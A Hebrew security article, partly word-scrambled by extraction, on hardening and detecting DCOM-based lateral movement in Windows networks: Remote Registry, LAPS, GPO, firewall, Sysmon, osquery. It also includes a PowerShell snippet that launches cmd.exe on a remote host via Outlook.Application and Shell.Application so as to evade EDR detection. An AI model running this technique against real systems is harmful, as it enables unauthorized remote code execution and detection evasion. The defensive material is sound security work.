 שמעלה, שהכלי יודע להפעיל את הגישה מרחוק, וגם בגלל ששימובעקבות העובדה כי כפי שכבר נאמר 

של תקיפה,  טבקונטקסתי, לגיטימי ובלתי נפרד ממערכת ההפעלה )באובייקטים מסוג זה הינו חלק מהו

 ( Living-Off-The-Land-אנו מגדירים תרחיש זה כ

 על עמוקים מאוד לרבדים להיכנס ודורשות מורכבות מאוד הינן זו בקטגוריה ורטוהני ההקשחה פעולות

 .זדונית פעולה לבין לגיטימית פעולה בין להבדיל מנת

Living-Off-The-Land 

 .הקרקע על שקיים ממה שורדים אנחנו שבו מצב מתאר זה מילים שילוב

 וממשקים בכלים להשתמש יכול שתוקף היא הכוונה, הטכנולוגי לעולם הזה המשפט את לוקחים כאשר

 זדוניות פעולות בהם על מנת לבצע רולהיעז, הקורבן של ההפעלה ובמערכת בתשתית קיימים שכבר

 .ורטהני ממערכות לחמוק ובכך, לגיטימיבאופן 

 :ההפעלה במערכת הקיימים כלים באמצעות זדוני קוד הרצת של ודוגמאות מידע המציג קישור לפניכם

https://github.com/LOLBAS-Project/LOLBAS 

 ?מייצרת ההפעלה מערכת אירועים ואילו, לעשות ניתן כן מה אז

 .אבטחה ומעגלי שונות שכבות בכמה הפרוטוקול את רטולנ להגן צורך ישנו, זו לסוגיה מענה לתת מנת על

 שמנהלים לאנשים לא וגם תעופה שדות באבטחת שעובדים לאנשים זר אינו האבטחה מעגלי רעיון

 גם נובע ובשכבות בשלבים ההגנה את לבצע הצורך .מהמקלדת ארגונית רשת על בהגנה חלק ולוקחים

יכולים לבטל הקשחה שביצענו ולכן אנו צריכים לבצע גם זיהוי של פעולה זו ולא  DVS-ה כמו שכלים משום

 רק אכיפה.

משאירה סימנים חשודים  DCOM Objectsבהתקפות אחרות, גם תקיפת רשת באמצעות  כמו

 שבאמצעותם ניתן להסיק כי בוצע תרחיש תקיפה ברשת.

 :המקומיתדוגמאות היכולות לתת אינדיקציה כי בוצעה תקיפה כזו ברשת או במכונה  רלהלן מספ

 ב המופיעים אירועים-Event Log .של מערכת ההפעלה 

 הרשת תעבורת בתוך שנמצא מידע. 

 קצה בתחנות תהליכים יצירת של חשודה התנהגות. 

https://github.com/LOLBAS-Project/LOLBAS
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 :שכבות לשלוש ההגנה פרוצדורת את נפצל אנו, נכון הגנה תהליך לבצע מנת על

 מניעה .1

 הגנה .2

 זיהוי .3

 מניעה

ניתן למנוע מהכלי לבצע פעולות זדוניות על ידי ביטול היכולות שאותן הוא מנצל. קרי, הקטנת משטח 

מספר דלתות עץ, נסיר או נחסום את כל דלתות עם במקום להחזיק בבניין  -התקיפה. כמשל לעולם הפיזי 

 נמוכה יותר.העץ על מנת להשאיר לתוקף כמות אפשרויות כניסה 

 :התקיפה משטח את להקטין מנת על לעשות שתוכלו פשוטות פעולות כמה לפניכם

 Registry Remote ביטול .1

 שימוש ואין במידה רוחבית זו. תנועהטכניקת  לנטרולהמלצת הקשחה כללית גם ללא קשר  זוהי

 .לכבות מאוד מומלץ, פעיל זה ופרוטוקול זה בפרוטוקול

לתוקף  ,מאופשרלכמה פעולות. כאשר פרוטוקול זה  Remote Registry-משתמש ב DVS-ה כי לציין חשוב

 והרשימה, DCOM-ל גישה לאפשר(, Firewall) יש יכולת להריץ קוד על המכונה, לשנות חוקי חומת אש

 .ארוכה עוד

 :Active Directory-דרך ה Remote Registry-ניתן לבטל גישה ל כך
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 DCOMפרוטוקול  ביטול .2

 מכיוון וזה, DCOM Objectsרוחבית באמצעות  תנועה בנטרולהינו שלב מהותי  DCOMפרוטוקול  ביטול

לפעמים יש ש מכיוון וזה. הארגונים של המוחלט ברוב ישימה שלא הקשחה זוהי. להתחבר לאן אין שפשוט

למקרי קצה כמו  מצוינתתלות על ידי שירותים שונים. ולמרות זאת, אפשרות זו היא  על אובייקטים אלה

 '.וכותחנות מבודדות, קיוסקים 

 Windows Management)קיצור של   WMIהינו DCOM-באשר עושה שימוש  השכיחים הניהול מכלי אחד

Instrumentation) .שונות פקודות להריץ מאפשר אשר ההפעלה במערכת הקיים לגיטימי כלי זהו 

או  Remote Registry-ל גישה ויש שבמידה לציין חשוב, כן כמו .בחזרה מידע ולקבל מרוחקות או מקומיות

 יכול להדליק את הפרוטוקול מרחוק! DVS-ה, WMI-ל

 FAjwybmFJAA=v?watch/com.youtube.www://httpsדוגמא בסרטון הבא:  ראו

 

 LAPS-ב שימוש .3

 לא הוא' א במכונה אוחז תוקף כאשר. התקיפה משטח את להקטין מנת על נהדר פתרון נתנו מיקרוסופט

 זה'. ב למכונה רוחבית תנועה לבצע מנת על הלוקאלי המנהל של הזדהות פרטי באותם להשתמש יוכל

 .שונות במכונות המשתמש שם לאותו שונות סיסמאות מייצרת זו שהגנה מכיוון

https://support.microsoft.com/en-us/help/3062591/microsoft-security-advisory-local-

administrator-password-solution-laps 

 ?LAPSמנגנון  ומה

 סיסמאות ניהול במנגנון מדובר .Microsoft Local Administrator Password Solutionתיבות:  ראשי

( בכל תחנות הקצה Local Administrator) מקומיים מנהל לחשבונות סיסמאות ומחליף שמנהל

באמצעות פרטי  רוחבית תנועהומענה נגד העלאת הרשאות  . פעולה זו מספקתלדומייןהמחוברות 

 .הזדהות של מנהל מקומי אשר נמצאו במכונה כלשהי

https://www.youtube.com/watch?v=FAjwybmFJAA
https://support.microsoft.com/en-us/help/3062591/microsoft-security-advisory-local-administrator-password-solution-laps
https://support.microsoft.com/en-us/help/3062591/microsoft-security-advisory-local-administrator-password-solution-laps
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 משתמשים הרשאות של הקשחה .4

 .הקצה בתחנות שיוגדרו והרשאות חוקים סט הארגון לכלל להפיץ ניתן, GPO-ב שימוש ידי על

 ביטול ידי על ספציפית קבוצה או משתמש באמצעות ברשת אחרות למכונות גישה לבטל יכול ארגון

 גישה תתיר אשר קבוצה ליצור ניתן, כחלופה ".Access this computer from the network" ההרשאה

 משטח את להוריד כך ידי ועל, מרוחקות קצה לתחנות לגישה זקוקים אשר ומשתמשים רשת למנהלי

 .והפגיעה החשיפה

 פגיעויותמאפשרת מספר  Windows10להקשחת  CISהרשמית של ארגון  ההמלצה מעניינת: עובדה

 אשר אותן מנצל הכלי

 

 :מרחוק למחשבים להתחבר המורשים רשימת את שמחזיקה קבוצה התמונה שלפניכם מציגה
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 DCOMהרשאות  הקשחת .5

 גישה וחסימת לאישור מענה נותן אשר הרשאות מערך יצרו Microsoft ,המאמר בתחילת שהוסבר כמו

 .Component Services-ה ממשק באמצעות לאובייקטים

זה מאפשר להגדיר למי מותר ליצור ולגשת לאובייקט מרחוק, כמו כן, הגדרה זו ניתנת ליישום גם  ממשק

 .GPOע"י 

אשר לא הוגדרו להם חוקים  DCOM-י האובייקט של הגדרות ברירת מחדל לשינוידוגמא  לפניכם

 :ספציפיים
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 הגנה

 :בתחנת הקצה Microsoft Defenderחומת האש של  הפעלת

מאופשר, ניתן לשנות את הגבלות חומת האש, ולהותיר גישה  Remote Registryלציין כי כאשר  חשוב

 אל חסימה יספקו אשר פרופילים להפעיל ניתן, האש חומת את מגדירים כאשר מרוחקת לפרוטוקול זה.

 .DCOMרוחבית בשימוש  תנועהלממכונות מרוחקות ובכך מספקת משטח הגנה  DCOM-ה פרוטוקול מול

 .להתקפה חשופים נשארים ולכן אחרת או כזו מסיבה המקומית האש חומת את מכבים ארגונים, לרוב

יוכל לבצע! הכלי ידע בעתיד לאפשר גישה  DVS-שה עתידי לעדכון דוגמא מציגה שלפניכם התמונה

 Registry-ל, גם במידה וחסמתם אותו! כל זה בהנחה ויש גישת קריאה וכתיבה מסויםלפרוטוקול 

 :Remote-Registryאו  WMIבאמצעות 
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 זיהוי

 :GATEWAYבעזרת  טורני

שיודע לזהות  GATEWAYמנת לדלות סימנים לזיהוי ברמת תעבורת רשת, ניתן להשתמש במוצר  על

ומאפשר להגדיר סט חוקים אשר ימנעו או יותירו גישה. ישנם פתרונות קוד פתוח  DCOMתעבורת 

 או פתרונות מדף אחרים. SURICATAאו  SNORTאפשריים כמו 

מכמה  EVENT LOGSעל ידי איסוף  Windowsר אירועים בתחנות קצה מסוג טאלה מאפשרים לנ כלים

 .DCOMסוגים הכוללים: אירועי הזדהות לתחנה, יצירת תהליכים ושגיאות 

ות ללא ההרשא DCOMאובייקט  יצירת תניסיונושלפניכם מציגה אירועים המצביעים על  התמונה

 המתאימות:

  

 :REGISTRY-שינויים ב רטניתן לנ

 :דוגמאות

 ב שנוצר חדש חוק-Windows Firewall 

 הפעלת DCOM .שהיה כבוי ויצירת אובייקט חדש 

 המנסים לעקוף הקשחות והגנות במערכת ההפעלה. DVS-ה כמו כלים על להצביע יכולים אלו שינויים

שנועדו להתגבר ולעקוף  Registry-בהוא שלב הכרחי על מנת לזהות קריאות ושינויים  REGISTRY-ה ורטני

 את הקשחות ואמצעי ההגנה.
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 הקצה בתחנת אנומליות זיהוי

ניטור אנומליות ברמת תהליכים. שיטה זו נותנת מענה  -מפצה נוספת שאנו יכולים לקחת בחשבון  בקרה

. כיום ישנם מוצרי הגנה לתחנות קצה אשר יודעות DCOM-באופן כללי ולא רק להתקפות הקשורות ל

 לדוגמא. EDRלזהות אנומליות אלו ואף לחסום אותם, כמו 

אשר יריץ תהליך מסוג  Outlook.exeידעו לזהות: הרצת תהליך כמו  EDRשמערכות כמו  לאנומליה דוגמא

cmd.exe .תחתיו  

של תוכנות שונות בין  יתכן שיהיו אובייקטיםו ,אובייקטים באמצעות אפשרויות תקיפה: ישנן הרבה הבעיה

 .מדויקת, ולכן, שיטת זיהוי זו אינה מספיק ארגון אחד לארגון אחר

 :האנומליה שינוי ידי על, EDR-מ להתחמק ננסהלכם דוגמא מגניבה בה  הנה

 Outlook.Applicationמסוג  DCOM Objectנייצר  .1

 Shell.Applicationמסוג  COM Object-דרכו נייצר ״גשר״ ל .2

 Shell.Application המיוצאת מהאובייקט  ShellExecuteדרך הפונקציה  cmdנריץ  .3

PS> $com = 

$([activator]::CreateInstance([type]::GetTypeFromPROGID("Outlook.Application","1

0.211.55.1"))) 

PS> 

$com.CreateObject("Shell.Application").ShellExecute("C:\Windows\System32\cmd.exe

", "", "", "",1) 

 .הפקודה הרצת לפני יםעוד שלב פונוס, EDR-היותר קשה לזיהוי כי מבחינת  יהיה הז תרחיש

 DCOM בו תרחיש חדש, יצרנו cmd מריץ Outlookמסוג  DCOM Object בו הרגיל התרחיש במקום

Object  מסוגOutlook מיצר COM Object  מסוגShell.Application( ,שמכניס גם  מהRuntimeBroker 

 מריץ explorer.exe-. הexplorer.exeאת  מריץ ולאחר?(, ORBמה שרשמתי על  זוכרים, לתהליך התיווך

cmd.exe הפונקציהאחת  דרך ShellExecute המיוצאת מאובייקט ה-COM  שלShell.Application. 

 ישנם כיוםכמו שניתן להבין, צוותי ההגנה וצוותי התקיפה נמצאים במעין משחק של ״חתול ועכבר״, אך 

 שיוכלו להקל על צוותי ההגנה., כאלו פעולות לזיהוי אמצעים מעט לא

 :לדוגמא

 חוקי Application Control 

 SYSMON 

 OSQUERY 

  

https://en.wikipedia.org/wiki/Endpoint_detection_and_response
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 ומה ההבדל ביניהם? SYSMON-ו OSQUERYזה  מה

SYSMON .מאפשר ליצור סט חוקים לאירועים חשודים שנרצה לדעת עליהם אם וכאשר הם יקרו 

בצע ניתן ל .מותקן הואמאפשר לאסוף הרבה מידע ממערכת ההפעלה שעליה  OSQUERYזאת,  לעומת

 OSQUERY בעזרתמידע ספציפי במערכת ההפעלה.  אודותולקבל תשובה  ,OSQUERY-ה תשאולים אל מול

, SYSMON-ב חוק ניצור אם, זאת לעומת נדע לתשאל אילו תהליכים נמצאים במצב ריצה ומי יצר אותם.

 פתרונות הם שכן הללו הכלים על לקרוא מומלץ .רצף פעולות שהגדרנו התרחש כאשר אירוע ליצור נוכל

 :הגנה צוותי של מאוד נרחב ובשימוש מוכחים

https://osquery.io/ 

https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon 

 

 סיכום

יכול גם להיות בשימוש  DVS. וערמומית לאנשי התקיפהרוחבית יעילה  תנועהנותן פתרון של  DVS-הש כמו

הוא על ידי צוות הגנה הרוצה לבדוק את עצמו באופן אקטיבי ולדעת האם הארגון פגיע להתקפה זו, והאם 

 לזהות ולעצור אותה. יודע להתמודד,

 ארגונים מאלצת, הרע מהסוג וגם הטוב מהסוג פוטנציאליים תוקפים של הטכנולוגית ההתפתחות

 .ההגנה מתודולוגיית את ולשנות להתפתח

 שיתוף ישנו שבה, Purple Team-ה שיטת לפי ואקטיביות עצמאיות בדיקות לבצע וגובר הולך צורך ישנו

 מסוג התקפות של והמניעה הזיהוי דרכי את לשפר ובכך, הצוות המגן לבין תוקףצוות הה בין מלא פעולה

 .זה

 תודות

 .על העזרה בתכנון הסקריפט וכתיבת המאמר לרפאל איבגיתודה רבה 

בכתיבת סעיפי ההגנה  גלב גלזקוב, ולהמאמר בעריכתעל העזרה ברוך -לביא בןתודה רבה לכמו כן, 

 .והניטור

 על הכותב

 .Scorpionesבחברת  CTO-חוקר אבטחת מידע ו -נימרוד לוי 

 nimrod@scorpiones.io לשאלות ניתן לפנות אלי למייל:

https://osquery.io/
https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon
mailto:nimrod@scorpiones.io

